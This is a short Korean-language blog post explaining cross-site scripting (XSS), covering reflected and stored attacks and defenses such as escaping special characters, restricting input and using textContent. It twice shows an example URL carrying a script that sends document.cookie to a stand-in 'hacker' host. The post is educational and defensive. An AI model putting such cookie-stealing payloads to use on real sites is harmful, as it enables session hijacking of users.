XSS 공격이란

이정규·2022년 4월 1일
0

XSS 공격

Cross Site Scripting 이라는 말로 상대방의 브라우저에 스크립트가 실행되도록 하여 공격을 진행하는 것을 말한다.

웹사이트 사이를 넘어서 공격한다는 의미이다.

이는 우리가 친숙하다고 생각하는 웹사이트를 들어갔지만 이 너머로 누군가가 해당 웹사이트에 스크립트로 악의적인 공격을 집어넣어 웹사이트 너머에서 공격이 일어난다는 것이다.

관리자가 아닌 권한이 없는 사용자가 웹 사이트에 스크립트를 삽입하는 공격이다.

반사형 XSS

일반적인 유형의 XSS 공격이다.

우리가 어떠한 url을 만들어 놓고 해당 url을 클릭했을 시 바로 내가 해당하는 서버로 쿠키를 보내게 만드는 방법이다.

공격자가 XSS공격을 위한 script를 포함한 URL을 사용자에게 노출시킨다.

그렇게 URL을 사용자가 클릭할 경우, 스크립트가 포함되어있는 URL을 통해 Request를 해커가 걸어놓은 서버로 요청하게 되고, 그러면 해커는 유저의 쿠키를 탈취할 수 있게 되는 것이다.

예시

http://jeong.com?page=<script>location.href(”http://hacker/cookie?value=”document.cookie);</script>

이렇게 url을 공개해놓고 클릭하게 되면 script문을 따라 사용자의 쿠키가 탈취되는 상황이다.

영구적 XSS

저장형 XSS 공격이라고도 한다. 이는 웹사이트의 모든 HTTP응답을 감염시키는 공격을 의미한다.

예시

게시물을 볼 수 있는 웹사이트가 존재한다고 해보자.

이 웹사이트 게시물 제목으로 클릭해보세요.<script>{해커가 만들어놓은 서버로 보내는 api요청}</script> 이런식으로 해커가 게시물을 등록했다고 해보자.

그러면 해당 서버는 이 게시물 제목을 저장하고 클라이언트에게 뿌릴 것이다.

클라이언트는 html로 게시물 제목들을 띄워주게 될텐데 클릭해보세요.는 문자열로 판단할 것이고 <script>{}</script> 는 문자열로 판단하지 않고 script문으로 판단할 것이다.

이렇게 되면 사용자가 게시물 제목을 클릭하게 된다면 사용자의 쿠키 및 세션등이 해커가 만들어놓은 서버로 유출되는 문제가 생긴다.

XSS공격 대응방법

XSS공격은 미리 방지하기가 어렵다.

데이터 값 검증

데이터의 값 중에 특수문자 <, > 와 같은 것들이 들어가있다면 다른 문자로 치환하거나 없애버리는 방법이다.

입력 값 제한

http://jeong.comd?page=<script>location.href(”http://hacker/cookie?value=”document.cookie);</script>

이러한 예시에서 page={숫자만 가능} 이렇게 입력값을 제한하면 예방할 수 있다.

textContent속성 이용하기

html화 시켜버리면 script가 쓰여져있으면 script문으로 인식하게 된다.

그래서 이를 아예 문자열로 인식하게 바꿔버리는 것이다.

profile
강한 백엔드 개발자가 되기 위한 여정

0개의 댓글